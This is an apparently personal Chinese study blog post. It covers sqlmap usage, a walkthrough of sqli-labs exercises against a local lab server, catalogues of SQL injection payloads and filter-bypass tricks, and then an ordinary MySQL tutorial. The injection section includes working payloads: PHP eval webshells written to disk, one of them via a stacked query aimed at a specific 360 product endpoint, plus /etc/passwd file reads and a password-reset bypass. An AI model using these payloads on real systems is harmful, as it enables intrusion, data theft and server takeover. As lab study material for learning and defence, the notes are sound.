matsudaira 发布的文章

手动下载最新版本git clone https://github.com/sqlmapproject/sqlmap.git

或者直接spt-get install sqlmap

sqlmap目录

avatar

extra:额外功能,如发出声响beep,代码加密cloak,二进制转换./dbgtool

plugins:插件库

shell:注入成功时使用的4种shell

thirdarty:

udf:UDF提权使用的dll文件,包含用户自己定义的攻击载荷

xml:包含多种数据库的注入检测载荷、旗标信息及其他信息

lib:包含sqlmap的多种连接库,如5种注入类型请求的参数、提权操作等

procs:包含了MSSQLServer\MySQL\Oracle\PostgreSQL的触发程序,存放了一些SQL语句,主要涉及DNS带外传输数据的一些数据库命令

tamper:绕过脚本

txt:字典

waf:常见防火墙特征

功能

sqlmap支持五种注入:布尔、时间、联合、报错、堆叠

sqlmap.py

-h:帮助
--version:版本
-v n:信息级别,从0-6
0:只显示python错误及严重信息
1:同时显示基本信息和警告信息
2:同时显示debug信息
3:显示注入的payload*****
4:显示HTTP请求
5:显示HTTP响应头
6:显示HTTP响应界面

目标

-d 数据库名:直接连接数据库
-u URL.--url=URL:注入点目标URL
-i logfile:从bp或webscare代理日志文件中分析目标
-x SITEMAPURL:从远程网站地图文件来解析目标
-m BULKFILE:将目标地址保存在文件中,一个行为一个URL地址进行批量检测
-r requestfile:从文件加载HTTP请求,请求HTTPS需要配合--foree-ssl参数来使用,后者可以在Host头后面加上443
-g googledork:从谷歌加载结果目标URL

请求

--method=METHOD:强制使用给定的HTTP方法
--data=data 通过post发送参数数据,会去检测post的参数
--data="id=1" -f -banner --dbs --users
--param-del=para:当get或post的数据需要使用其他字符分割测试参数时需要使用此参数
--cookie=cookie:HTTP cookie header值
--cookie-del=coo:用来分隔cookie的字符串值


-b,--banner返回数据库的版本号

-f --fingerprint执行广泛的DBMS版本指纹检查

--level=level:执行测试的等级1-5
--risk=risk:执行测试的风险3********


--technique=:SQL注入技术测试(默认为beust)
--time-sec=TIMESEC:DBMS响应的延迟时间
--union-cols=:定列范围用于测试UNION查询注入
--union-char=:暴力猜测列的字符数



枚举
-a,--all:获取所有信息
-b,--banner:获取数据库管理系统的版本
--current-user: 获取数据库管理系统当前用户。
--current-db:获取数据库管理系统当前数据库。
--hostname:获取数据库服务器的主机名称。
--is-dba:检测DBMS当前用户是否为DBA。
--users:枚举数据库管理系统用户。
--passwords: 枚举数据库管理系统用户密码哈希值。
-privilges:枚举数据库管理系统用户的权限。
--roles: 枚举数据库管理系统用户的角色。
--dbs:枚举数据库管理系统数据库。
--tables:枚举DBMS数据库中的表。
--columns:枚举DBMS数据库表列。
--schema:枚举数据库架构。
--count:
检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数: sqlmap.py -u url -count -D testdb。
-D BD:要进行枚举的指定数据库名
-T TBL:表枚举
-C COL:列枚举
-U USER:用来进行枚举的数据库用户
--where=DUMPWHERE:使用where条件
--sql-query=QUERY:要执行的SQL语句
--sql-shell:提示交互式SQL的shell
--sql-file=SQLFILE:要执行的SQL文件

暴力

--common-tables:检查存在共同表
--common-columns:检查存在共同列

使用

常用参数

--dbs数据库
--current-db当前数据库
--current-user数据库使用账户
--users列出sqlserver所有用户
--password数据库账户与密码
-v 3信息级别
--risk 1-4,1默认,2增加事件,3增加ro或者其他sql注入语句,4会修改数据库内容
--level 5
-D database 指定数据库
--tables指定库名列出所有表
-r 从文件中获取http包进行注入
-u 目标
-T指定的一张表
--columns获取列信息
-C指定列
--dump获取内容
--technique B|E|U|S|T 布尔、报错、联合、堆叠、时间注入类型
--batch一直使用默认执行命令
--thread 数字  一共用多少线程工作

常用绕过脚本

base64encode.py  base64编码
charencode.py    一次url编码
chardoubleencode.py     两次url编码
space2mssqlblank.py  空格替换脚本
space2mysqldash.py  空格替换
space2randomblank.py    空格替换,随即从空白字符集中选择来替代空白字符
unmagicquotes.py    宽字节

自动检测
sqlmap.py -u http:xxxxxx?id=1 --batch

直连数据库

sqlmap.py -d "mysql://admin:[email protected]:3306/testdb" -f --banner --dbs --users

标准流程

sqlmap -u "xxx" --dbs获取数据库
sqlmap -u "" -D table_name --tables 表名
-u "" -D xx -T xx --columns列名
-u "" -D xx -T xx -C xx,xx --dump获取内容
-u "" -D xx -T xx -C xx,xx --start 1 --stop 10--dump获取1-10行内容

sqlmap -u "" --technique E --dbs --batch指定为报错注入

sqlmap -u "" --data "uname=123*&passwd=888&submit=submit" --current-db --batch --threads 10 --technique E从抓到的数据包里面用*指定位置去打

把抓到的数据包放进文件,打标
sqlmap -r "/root/a.txt" --dbs --threads 10 --batch --technique BETS

指定http头注入
sqlmap -u "" --user-agent="xxxxxxxx*" -- level 4 --dbs --.......
sqlmap -u "http://192.168.226.134:30000/Less-1/?id=1" --batch -D security --tables

使用sqli-labs练习

准备工作是真的曲折...记录一下,以备以后再用
php选用5.x版本,mysql使用5.7,不然连接函数一直报错搭不起来,用了之后发现不管怎么注入都没反应,查了下要把php.ini文件里的magic_quotes_gpc改为off。kalissh连接参考https://www.cnblogs.com/winyh/p/9599369.html,以上全部搞完才能正常运行

下面没有特殊说明跳过的题目payload都与上面相同

做到20题的时候发现没有cookie.....在网上搜了下,要修改php.ini 文件中 output_buffering 设为 on,然后重启 appache

第一关,没什么好说的,中规中矩

sqlmap -u "http://192.168.226.134:30000/Less-1/?id=1" --batch --dbs

sqlmap -u "http://192.168.226.134:30000/Less-1/?id=1" --batch -D security --tables

sqlmap -u "http://192.168.226.134:30000/Less-1/?id=1" --batch -D security -T users --columns

sqlmap -u "http://192.168.226.134:30000/Less-1/?id=1" --batch -D security -T users -C id,password --dump -v 3此处使用了参数v,可以看到sqlmap注入时的payload

avatar
avatar
avatar

2-9同上,没什么好说的

10sqlmap -u "http://192.168.226.134:30000/Less-10/?id=1" --batch --dbs -v 3 --level 5

11注入点在登入框处sqlmap -u "http://192.168.226.134:30000/Less-11/" --data "uname=1&passwd=&submit=Submit" --batch --dbs
avatar

15sqlmap -u "http://192.168.226.134:30000/Less-15/" --data "uname=1*&passwd=&submit=Submit" --batch --dbs --level 5

17这里要注意一下网站会在检测用户名存在不存在之后才会继续,所以要用一个已经存在的用户名,注入点在密码sqlmap -u "http://192.168.226.134:30000/Less-17/" --data "uname=admin&passwd=1*&submit=Submit" --batch --dbs --level 5此处同时也是一个密码重置漏洞!

19注入点在referer头,这回换了种方式,写入文本后再打标进行注入sqlmap -r "./1.txt" --batch --dbs
avatar

20注入点在cookie,一样的
avatar

21抓包后发现cookie用了base64加密,使用tamper里面的相应的文件进行绕过sqlmap -r "./1.txt" --batch --dbs --tamper base64encode.py
avatar

23sqlmap -u "http://192.168.226.134:30000/Less-23/?id=1" --batch --dbs

做到25之后靶场又出问题了...痛苦

跳到29sqlmap -u "http://192.168.226.134:30000/Less-29/?id=1" --batch --dbs --tamper charencode.py -v 3这个绕过方式是url编码

30莫名又回去了sqlmap -u "http://192.168.226.134:30000/Less-30/?id=1" --batch --dbs -v 3 --level 5

33宽字节sqlmap -u "http://192.168.226.134:30000/Less-33/?id=2*" --batch --dbs -v 3 --tamper unmagicquotes.py

34宽字节sqlmap -u "http://192.168.226.134:30000/Less-34/?id=1" --data "uname=admin&&passwd=admin&submit=Submit" --dbs --batch -v 3 --tamper unmagicquotes.py

35返璞归真sqlmap -u "http://192.168.226.134:30000/Less-35/?id=1" --dbs -v3 --batch

36宽字节sqlmap -u "http://192.168.226.134:30000/Less-36/?id=1" --dbs -v3 --batch --tamper unmagicquotes.py

37post的宽字节,嘿嘿sqlmap -u "http://192.168.226.134:30000/Less-37/" --data "uname=admin*&passwd=admin&submit=Submit" --dbs -v 3 --batch --tamper unmagicquotes.py

38-40sqlmap -u "http://192.168.226.134:30000/Less-38/?id=1" --dbs -v3 --batch

数据备份

备份方式:
    热备:硬盘以内存中的一些数据进行备份
    冷备:数据库硬盘中的数据
    
按照备份后的文件内容:
    逻辑备份:一般是sql语句
    裸文件备份:拷贝数据库的文件,一般内容是二进制数据
按照每次备份的数据量
    完全备份:对数据库进行完整的备份
    增量备份:更新
    日志备份:二进制日志备份,当数据库宕机之后进行数据恢复的依据
冷备份的优点:
    备份简单,只需要拷贝相关文件即可
    易于跨平台
    恢复简单,只需要把文件恢复到相关位置即可
    恢复速度快,不需要执行任何sql语句,也不需要重新建立索引
冷备份的缺点
    冷备文件通常比逻辑文件大很多
    不能总可以轻易跨平台

逻辑备份

  1. select * into outfile 'path/to/file' from table_name
  2. mysqldump

原理:把数据从mysql数据库里以sql语句的形式直接输出

常用参数:

-B:同时备份多个库
-A:备份所有数据库
-d:只备份表结构,没有行数据
-t:只备份行数据,没有表结构
-F:刷新binlog
-l:锁定所有的表为只读


备份单个数据库
mysqldump -uroot -p* db1 > back_db1.sql;
备份多个
mysqldump -uroot -p* db1 db2 > back_db1.sql;
备份所有
mysqldump -uroot -p -A > all.sql
备份单个表
mysqldump -uroot -p* db1 stu_info > back_stu.sql

备份多个表
mysqldump -uroot -p* db1 stu_info table1 > back_stu.sql
使用gzip压缩备份数据库
mysqldump -uroot -p* db1 | gzip > back_db1.sql.gz
恢复
mysql < sql脚本文件
source /path/to/sql脚本文件

source ./back_db1.sql
需要先创建数据库再恢复!

基础知识

  1. mysql5.0以上数据库中存有information_schema这个默认数据库
    avatar

avatar
avatar

其中需要特别记住三个表名:SCHEMATA\TABLES\COLUMNS

SCHEMATA:该用户创建的所有数据库的库名,其中记录库名的字段为SCHEMA_NAME

TABLES:存放该用户创建的所有数据库的库名和表名,记录库名的字段为TABLE_SCHEMA,记录表名的字段为TABLE_NAME

COLUMNS:存储所有数据库名,表名,字段名,库名表名字段名的字段分别为:TABLE_SCHEMA\TABLE_NAME\COLUMN_NAME
avatar

常用三个函数: database()显示当前数据库名,version()显示当前数据库版本,user()显示当前用户名

注意点

sql注入可能可以通过于get\post,各种http字段中中
有关通过cookie进行sql注入的文章

修改密码set password for root@localhost = password('1');

永真式' or '1'='1具体视闭包而定

常用流程语句解析

判断闭包

select * from db1.stu_info where sno=1;
select * from db1.stu_info where sno=(1);
select * from db1.stu_info where sno=((1));
select * from db1.stu_info where sno='1';
select * from db1.stu_info where sno=('1');
select * from db1.stu_info where sno=(('1'));
select * from db1.stu_info where sno="1";
select * from db1.stu_info where sno=("1");
select * from db1.stu_info where sno=(("1"));
以上九种都是合法的闭包方式

很多时候我们需要考虑闭包的问题,上面我列出了九种闭包方式,当我们破坏了前面的闭包之后,后面会遗留半个闭包,这时候需要把他注释掉,sql中的注释方式有三种-- 或#或/*,但是由于#在url中有特殊作用 ,所以不能直接用来作为注释(get方式),使用-- 时,后面有个空格在url中会被忽略,所以一般使用--++号在url中是空格,或者进行url编码--%20或者%23,前者是把空格进行编码,后者是对#进行编码。--必须后面跟空格,#可跟可不跟。#也可用于post

limit 0,1

group_concat()

如果or和and被屏蔽了,则可以用||和&&来替代

可用于代替空格的东西

%09水平tab
%0a新建一行
%0c新建一页
%0dreturn功能
%0b垂直tab键
%a0空格键
%00截断,后面不执行
%a0空格

如果--被屏蔽,可以考虑使用or '1'='1之类的进行闭包

union注入

  1. select * from table_name where xx=x and ...select from 是sql语句中的最基础的查询语句,where可以限定查询的内容的条件,如where id=1可以查出表中id为1的元组,当表中没有满足where语句的元组时,返回内容为空,and表示并列条件取并集,我们使用and 1=1and 1=2来判断该处是否存在注入点,1=1是一个永真条件,而1=2是一个错误条件,如果两者注入后返回的结果不同,则说明条件语句被执行了,则此处一定存在注入点
  2. order by该语句原意为以...为基准进行排序,除了使用列名以外,还可以使用数字来代替对应的列名,所以我们用这个子句进行判断表的列数,如果order by n被成功执行了,则说明该语句至少有n列,如果报错,则说明列数小于n
    avatar
  3. union该语句为集合运算,将前后的语句的执行结果取交集一并列出,如select xxxxx union select nnnnn会将两次select选出的结果放在一个表里。需要注意的是union前后两者列出结果的列数应该相同,否则会报错,所以需要先判断列数再使用union,当我们判断列数之后使用union select 1,2...n来判断服务器是否会执行union指令,如果执行了看他会返回那几列的内容,然后用database()等函数进行替换相应的列来获取我们想要的信息,如果执行了但是没有显示出我们列对应的数字,那么有可能是因为设置为只显示一行而导致后面的内容实现不出来,则考虑将前面的参数如id等等,值改成负数或者其他数据库中不太可能存在的数字再执行,这样由于前面select执行语句最后的显示结果为空,则显示出来的内容就可能是union之后的select语句
    avatar
  4. 通过上一步获取数据库名后,从information_schema这个数据库中获取该数据库的详细信息,select table_name from information_schema.tables where table_schema='数据库名' limit 0,1用这个语句来替换上面union中的数字,此处的意思为从i_s.t这个表中查询table_schema等于我们需要的那个数据库名的元组当中table_name这一列,limit 0,1意思是从第0行开始起显示,只显示一行,可以通过修改后面那两个数字来改变查询的行数,该方法适用于mysql数据库。通过这一步我们知道了该数据库中所有的表名
  5. select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1用该语句替换上面union中的数字,此处的意思是从i_s.c这个表中查询相应库名和表名对应的表的列名,亦可以使用union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+,即使用group_contcat()将查询结果打包输出
  6. select 列名 from 数据库名.表名 limit 0,1利用上面得到的数据库名、表名、列名来获取我们所需要的信息

布尔注入

当发现网站只返回对错而不返回具体数据库的内容的时候,我们可以考虑使用布尔型注入

  1. 闭包and length(database())>=1--+使用这个语句,修改length猜的长度来判断数据库名的长度
  2. 闭包 substr(database(),1,1)='t'--+截字判断数据库名中第n个字符,把符号换成ascii编码可以考虑用bp爆破ascii(substr(database(),1,1)=115)--+

avatar

  1. and substr((select table_name from information_schema.tables where table_schema='xxx' limit0,1),1,1)='e'用相同的方式,把测试代码贴入相同的地方进行尝试,以此查出表名、列名

报错注入

如果发现在使用错误的sql语句(如错误的闭包)时,网站把错误信息都给返回回来了,那么可以考虑报错注入

法一

爆出库名
index.php?id=2' AND (select 1 from(select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b) --+

爆出表名
index.php?id=2' AND (select 1 from(select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b) --+

爆出内容
?id=2' AND (select 1 from(select count(*),concat(0x3a,0x3a,(select username from users  limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a)b) --+

select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;
结果是有可能报错的,报错的时候会出现数据库的库名,因为group by按照a排序,a里面只会出现两种结果0,1,而且随机,所以总有一天会出现两个0或者两个1,此时报错,报错信息包含数据库库名

前面的select 1 from xxx,是使这个sql语句永恒为真,可以执行

法二

and updatexml(1,concat(0x7e,(select user())0x7e),1)--+

法三

 and extractvalue(null,concat(0x7e,(select @@datadir),0x7e))

法四

select exp(~(select*from(select user())a))

时间注入

类似布尔

if (length(database())>1,sleep(5),1)

if(sustr(database(),1,1)='s'.sleep(5),1)

堆叠注入

利用分号执行多个语句

;select if(substr(user(),1,1)='r',sleep(5),1)%23

二次注入攻击

网站可能会在注册的时候对字符进行转义,导致无法正常使用注入语句,但是存入数据库的还是处理前的数据,并且在修改密码、查询这部分缺乏处理,取出的是带有特殊字符的恶意字符串

在注册页注册admin' -- -
修改admin' -- -
登录admin,使用刚才修改的密码,发现登录成功
注册test'
在查询页查test'order by n%23,后面就和正常union注入一样

写入木马/api/dp/rptsvcsyncpoint?ccid=1';create table O(T TEXT);insert into O(T) values('<?php @eval($_POST[1]);?>');copy O(T) to 'C:\Program Files (x86)\360\skylar6\www\1.php';drop table O;--

宽字节注入

如果数据库的编码为GBK,则可以使用这个来逃逸转义,在数据库中,先加一个%df,再加单引号,%df和反斜杠的编码%5c连在一起时会被当成一个繁体字?id=200%df%27union select 1,2,3 --+

cookie注入

如果发现cookie中带有参数,可以考虑通过cookie注入

XFF注入

可以通过X-Forwarded-for来进行sql注入

X-Forwarded-for:127.0.0.1' and 1=1#

绕过方式

  1. 大小写混写绕过
  2. 重复拼写绕过,如发现and被过滤,则可以考虑使用anandd,去掉一个还有一个
  3. 编码绕过,使用URL全编码对and等等关键字进行两次编码
  4. 内联注释绕过代替空格/*!code*/,升级版-1/*%!"/*/and/*%!"/*/1=1
  5. 用别的结果相同的字符来替代
  6. 利用+来实现危险字符拆分,如or可以被拆分成'o'+'r'
  7. 利用系统注释符来截断后面
  8. 利用like、in来代替=
  9. 宽字符绕过非法字符过滤(GB2312\GBK\GB18030\BIG5\SHIFT_JSI等双字节编码)
  10. 利用between\greatest替代盲注中的尖括号
  11. 使用from for来代替逗号,如ord(mid(user(),1,1))>114,变成substr(user() from 1 for 1)

利用into outfile和load_file()

select * from test1 into outfile "/tmp/abc.txt"; 把查询结果导出到文件
select * from test1 into outfile "c:\xxx.txt";

select load_file("/etc/passwd"); 加载某个文件

select load_file("/etc/passwd") into outfile "/root/123.txt"; 读取文件之后输出

apache中间件:
/var/www/html/
/var/www/

nginx中间件:
/home/wwwroot/

d=-2')) union select 1,database(),3 into outfile "/var/www/html/Less-7/z2.txt" --+

id=-2')) union select 1,'<?php @eval($_POST["haha"])?>',3 into outfile "/var/www/html/Less-7/muma.php" --+
在这种情况下,单引号可以包双引号```

mysql版本5.6以上,默认没有into outfile的支持
修改my.ini文件

其他

密码重置

法一:利用永真式
avatar

法二:越权重置
原句:update user set password="" where username='' and password=''

例:注册一个用户,用户名admin' # 密码123,填入后原句为update user set password="123" where username='admin' #' and password=''这样可以越过原密码篡改别人的密码

user-agent\referer等个人信息相关的报头

考虑到这里的值不止一个insert into xx ('a','b','c') vallues ('','',''),这种,不太适宜使用注释符,可以考虑整段替换后使其报错,如把user-agent整段替换成\,在bp里面看返回结果,可以考虑使用永真式之类的进行判断,然后可以考虑使用extractvalue一类进行注入

MySQL

存储引擎
基础操作
其他操作
算数运算符
比较运算符
逻辑运算符
聚合函数
分组
视图
函数
谓词
集合运算
示例
数据类型

安装``yum install mariadb mariadb-server.x86_64 -y
``

启动systemctl start mariadb

查看3306端口是否启动ss -tanl | grep 3306

初始化mysql_secure_installation

mysql连接方式

TCP/IP:建立一个网络的连接请求,一般情况下客户端在一台服务器上,而实例在另外一台服务器上

命名管道:如果两个需要互相通信的进程在同一台服务器上,就可以使用命名管道,但是需要在配置文件中启用——enable-named-pipe选项

共享内存:通过在配置文件中添加——shared-memory实现,在实际连接的过程中需要添加——protocol=memory选项

unix套接字

vim /etc/my.cnf.d/clint.cnf
user=root
password=.....

可以免输入密码登录数据库

存储引擎

InnoDB\MyISAM\NDM\Memory\Archive\Federated\Maria

查询当前数据库支持的存储引擎show engines \G;

修改默认存储引擎配置文件

cat /etc/my.cnf
default-storage-engine=INNODB

建表时指定存储引擎
create table xx(xxxx) ENGINE=MyISAM

修改表的存储引擎alter table xx engine =xxxx;

InnoDB和MyISAM的区别

基础操作

mysql -u用户名 -p密码

use database_name选择数据库

create database database_name;创建数据库

show databases;查看所有数据库

select user();查询当前用户

set password = password('xxxxx');给当前数据库设置密码

增删改查

创建表

同一表中字段名不能相同,同一库中表名不能相同
创建表

create table table_name(
    字段名 类型 约束条件,
    字段名 类型 约束条件,
    ......
    字段名 类型 约束条件
);

create table table_name (xxxxx....,a1 int default 0);
使用default可以设置默认值

插入数据

insert into table_name (字段名,字段名...字段名) values (值,值....值);

当想插入默认值的时候,值处直接填入default就可以,或者直接略过,如果省略的字段没有默认值,那么值会变成null

insert into table_name (a1,a2,a3) select b1,b2,b3 from table_name;从别的表当中获取数字插入表中

insert into table_name(a1,a2,a3) selct b1,sum(b1),sum(b2) from table group by b1;

insert into table_name values (全部值);

update table_name SET 名=值......;

查看表结构、信息

select * form table_name;

show tables;

desc table_name;

show create table table_name;建表信息

select * from 库名.表名;

select distinct name from table;只返回不同的值,但是NULL也会被保留,distinct只能放在第一个列名之前

select name from table_name limit n;限制返回n行

select name from table_name limit n offset m;限制返回n行,从m行开始

排序检索

select name from table_name order by name1,name2...;取出一列或多列的名字,以此对输出进行排序,order by 语句只能出现在所有语句中的最后一条

select name from table_name order by n,m...;使用数字代表对应列的位置进行排列
select a1, a2, a3 from table_name order by 1;此处的order by1指以a1为基准进行排序

....order by name1 desc,name2;name1降序排序

排序当中,null的值会聚在一端,视具体数据库为准,且order by可以使用别名

修改

alter table 旧表名 rename 新表名;      /修改表名

alter table 表名 add 字段名[完整性约束条件] /增加字段;

alter table 表名 drop 字段名; /删除字段

alter table 表名 modify 字段名 类型 约束条件 change 旧字段名 新字段名 新数据类型 约束条件;  /修改字段

ALTER TABLE 表名
    ADD 字段名 数据类型 约束条件 FIRST;
    ADD 字段名 数据类型 约束条件 AFTER 字段名;
    CHANGE 旧字段名 新字段名 新数据类型 完整性约束条件 FIRST;
    MODIFY 字段名 数据类型 约束条件 AFTER 字段名;
//修改字段排列顺序,在新增字段时指定字段位置

alter table table_name modify 字段 类型 primary key auto_increment设置自增主键

updare table_name set field=value...  where....更新值

事务:
在同一个处理单元中执行一系列更新的集合

start transaction; --mysql
DML1;
DML2;
DML3;
...

commit/rollback;提交或回滚

删除

drop table table_name;删表

alter table table_name drop 字段;

delete from table_name where\orderby\limit;不使用where时删除全部行,但是保留表

where:where子句要紧跟在from子句之后,且不能和聚合函数一起使用

select .... from where name='xx';
where只能指定行的筛选条件

其他操作

注释

方式一
avatar

方式二
avatar

方式三
avatar

别名

select name as别名 from table_name;如果别名要使用中文,必须用双引号括起来而不是单引号

avatar

算数运算符

select price * 2 as 'doublue price' from table;从表中将价格这个字段乘以二的结果读出

四种运算符:+、-、*、/
当数字与NULL运算时,计算结果都是NULL,并且NULL的真值为不确定

比较运算符

=等于
<>不等于
>=大于等于
>大于
<=小于等于
<小于

select xxx from table where a_date < '2010-01-01';日期

select xxxx from table where price1 - price2 >= 1000;与算术运算符连用

当比较的是字符串类型的大小时,是按照字典的顺序来排,如'195'比'2'要小,因为1排在2之前

比较运算符不能用在NULL值上,如果想要判断值是否为NULL,可以使用 'is null'字段来判断,相反,需要使用'is not null'

逻辑运算符

  1. NOT:表示否定
    select xx from xxx where NOT price > 1000;
  2. AND\OR:并且\或,注意and的优先级要比or高!

select xx from xxx where a>10 and b < 50;

  1. 使用()来提升关系

聚合函数

COUNT:计算表中的行数

SUM:数据的合计

AVG:平均

MAX:最大

MIN:最小

select count(*) from table_name;
使用count(*)时,会包含null的行,如果使用count(列名),则不会计算null行

select sum(price) from table;

select distinct count(xx) from table;统计时去除重复

select sum(distinct price) from table;计算时去除重复

聚合函数不能和where一起使用!只有having子句、order by可以

分组

select xxx from table_name group by x1;
以x1为分组

group by 需要写在from\where语句之后
null也会被当做一组特定的数据处理.

select 列 from table_name where xxxxxx group by x1;先进行过滤在进行汇总

使用group by时,select 子句中不好出现聚合键以外的列名

group by的排序是随机的,且不能够使用别名

select a1,sum(b1) as sum_b1 from table group by a1 with rollup;此处在计算各组之和之后还会显示一行总和

指令的执行顺序:FROM--WHERE--GROUP BY--HAVING--SELECT--ORDER BY

avatar

having
having和where一样都是可以用来指定条件的语句,但是where只能指定记录行的条件,不能用来指定组的条件

having必须放在group by 后面

select xxx from table group by a1 having count(*)>2;此处的count为分组后各组各自统计的数

having子句中出现的列必须出现在groupby子句中,或者在聚合函数中使用

视图

视图不会保存数据,他保存的是从表中取数据用的select语句
create view 视图名字[(列名1,列名2...)] as select....

可以使用视图来创建视图,但是不推荐,同时,定义视图的时候不能使用order by语句,因为视图的数据行是没有顺序的

视图内的数据也可以进行和表一样的更新,但是要注意视图内数据和原表的关系,有些更新会导致错误

删除语句drop view name(列名...)

子查询

create view name xxx as select xxx from xxx group by;等同于
select xxx from (select xxx from xxx froup by xx)as name

标量子查询:返回一行一列的结果*


select a1,a2,a3,(select avg(price) from table) as avg_price from table;

select a1,avg(price) from table group by table having avg(price) > (select avg(price) from table);

关联子查询

SELECT product_type, product_name, sale_price
 FROM Product AS P1 
 WHERE sale_price > (SELECT AVG(sale_price)
 FROM Product AS P2 
 WHERE P1.product_type = P2.product_type
 GROUP BY product_type);

函数

  1. ABS()绝对值函数
  2. mod()求余
  3. round()四舍五入
  4. concat(a1,a2,a3)拼接字符串
  5. length()字符串重读
  6. lower()转为小写
  7. replace(对象,替换前,替换后)字符串替换
  8. subsrting(对象 from 起始位置 for 截取的字数)截取字符串
  9. current_date当前日期
  10. cast(转换前的值 as 想转换的类型)类型转换
  11. coalesce(数据,数据。。。)返回可变参数从左开始第一个不是null的值

谓词

LIKE:部分查询

SELECT *
 FROM SampleLike
 WHERE strcol LIKE 'ddd%';字符串开头一致

 SELECT *
 FROM SampleLike
 WHERE strcol LIKE '%ddd%';中间包含

 SELECT *
 FROM SampleLike
 WHERE strcol LIKE 'abc_ _';开头一致且后面跟两个字符

between

SELECT product_name, sale_price
 FROM Product
 WHERE sale_price BETWEEN 100 AND 1000;会包含临界值

in作为范围

SELECT product_name, purchase_price
 FROM Product
 WHERE purchase_price (not) IN (320, 500, 5000);

in作为子查询

SELECT product_name, sale_price
 FROM Product
 WHERE product_id (not) IN (SELECT product_id 
 FROM ShopProduct
 WHERE shop_id = '000C');从内层开始查

exist:判断是否存在满足某种条件的记录并返回真值

SELECT product_name, sale_price
 FROM Product AS P 
 WHERE EXISTS (SELECT *
 FROM ShopProduct AS SP 
 WHERE SP.shop_id = '000C'
 AND SP.product_id = P.product_id);exist只关心记录是否存在,与返回的列是那些并没有关系

CASE

CASE when <求值表达式> then <表达式>
     when <>           then <>
     ...
     else <表达式>
END

SELECT product_name,
 CASE WHEN product_type = '衣服'
 THEN 'A :' | | product_type
 WHEN product_type = '办公用品'
 THEN 'B :' | | product_type
 WHEN product_type = '厨房用具'
 THEN 'C :' | | product_type
 ELSE NULL
 END AS abc_product_type
 FROM Product;

 SELECT SUM(CASE WHEN product_type = '衣服' 
 THEN sale_price ELSE 0 END) AS sum_price_clothes,
 SUM(CASE WHEN product_type = '厨房用具' 
 THEN sale_price ELSE 0 END) AS sum_price_kitchen,
 SUM(CASE WHEN product_type = '办公用品' 
 THEN sale_price ELSE 0 END) AS sum_price_office
 FROM Product;

集合运算

union

取交集,运算对象的记录的列数必须相同,且运算对象的列的类型必须一致,orderby只能放在最后使用,union会进行去重,如果需要保留重复,则使用union all

select sname from stu_info union select name from cs;

自然连接

select * from stu_info natural join cs;
自然连接会自动处理,但是需要一样的字段名、属性,并且要设置主键

内联结

select a.p1,a.p2,b.t1 from att as a1 inner join byy as b on a.p1=b.t1;

on是用于写连接条件的,必须书写在from 和 where 之间

SELECT SP.shop_id, SP.shop_name, SP.product_id, P.product_name, P.sale_price, IP.inventory_quantity
 FROM ShopProduct AS SP INNER JOIN Product AS P 
 ON SP.product_id = P.product_id
 INNER JOIN InventoryProduct AS IP 
 ON SP.product_id = IP.product_id
 WHERE IP.inventory_id = 'P001';多表联结

外联结

SELECT SP.shop_id, SP.shop_name, SP.product_id, P.product_name, P.sale_price
FROM ShopProduct AS SP (RIGHT/LEFT) OUTER JOIN Product AS P 
ON SP.product_id = P.product_id;

与内联结相比,会包含原表中不存在的信息,使用left或right来确定谁是主表,最终的表中会包含主表中的所有信息

avatar

示例

create table stu_info(sno int primary key auto_increment, sname varchar(20), sclass varchar(20), ssex enum('男','女'));

alter table stu_info charset=utf8;

alter table stu_info modify ssex enum('男','女');
/////以上为错误演示

create table stu_info(sno int primary key auto_increment, sname varchar(20), sclass varchar(20), ssex enum('男','女')) charset=utf8;
////正确示例,这样在输入中文数据时不会变成问号

insert into stu_info (sname,sclass,ssex) values ('张三','信息安全1','男');

insert into stu_info (sno,sname,sclass,ssex) values ('100','李四','计算机2','女');

insert into stu_info (sname,sclass,ssex) values ('王五','软件3','男');


select * from stu_info;

avatar

alter table stu_info rename info_stu;修改表名

alter table stu_info add phoneno int(20);增加电话字段

alter table stu_info add birth date after ssex;
将新增加的生日字段加在性别后面

update stu_info set birth='2000-01-01' where sno='1';更新张三的生日

select sname from stu_info limit 2 offset 2;
从第二行限制返回两行

insert into stu_info values ('55','小明','通信2','女','2001-3-3','13485858588');


select * from stu_info where birth is not null;选出填写了生日的人

select count(*) from stu_info;查看表一共有几行

select max(sno) from stu_info;查看表中学号最大的

select ssex,count(*) from stu_info group by ssex;
计算男女人数

select ssex,count(*) from stu_info group by ssex having count(*) > 2;晒出人数多的性别

create table simp_stu (no int(11),name varchar(20)) charset=utf8;创建新表

insert into simp_stu select sno,sname from stu_info;从前表中获取数据插入其中

start transaction;
update stu_info set birth = '2000-10-10' where birth is null;
update stu_info set phoneno = '123456' where phoneno is null;
commit;使用事务进行批量更新

select substring(phoneno from 1 for 3) from stu_info;截取手机号的前三位

select * from stu_info where birth like '2001%';查询2001年生的

select sname, case when birth < '2001-1-1' then concat('A',birth)  else 'B' end as '时代' from stu_info;根据出生日期划分学生 


create table cs (name varchar(20),class varchar(20)) charset=utf8;创建课表
insert into cs values ('张三','信息论'),('张三','离散数学'),('王五','JAVA');
insert into cs values ('alias','C++');
select sname from stu_info union select name from cs;选取两张表学生的姓名

select a.sname,a.sclass,b.class from stu_info as a inner join cs as b on 
a.sname=b.name;选出既在学生表中,又在选课表中选了课的学生的信息

数据类型

数值型:int,unsigned int,decimal,float,double,real

字符型:

定长:char(),binary

变长:varchar(),varvinary

text,blob:保存较大文本使用,text只能保存字符数据,删除会导致留下“空洞”,可以使用OPTIMIZE TABLE 表名来进行优化

同时,可以使用索引来提高大短文本的精准查询的性能,例

create table t (in varchar(10),context blob,hash_value varchar(40));

insert into t values(1,repeat('xxx',2),md5(context));hash_value用于存储context的md5散列值

select * from t where hash_value=md5(repeat(xxx,2));

或者也可以使用前缀索引

desc select * from t where context like 'xxx%' \G;

时间日期型:
date,time,datetime,timestamp

date:年月日

datetime:年月日时分秒

time:时分秒

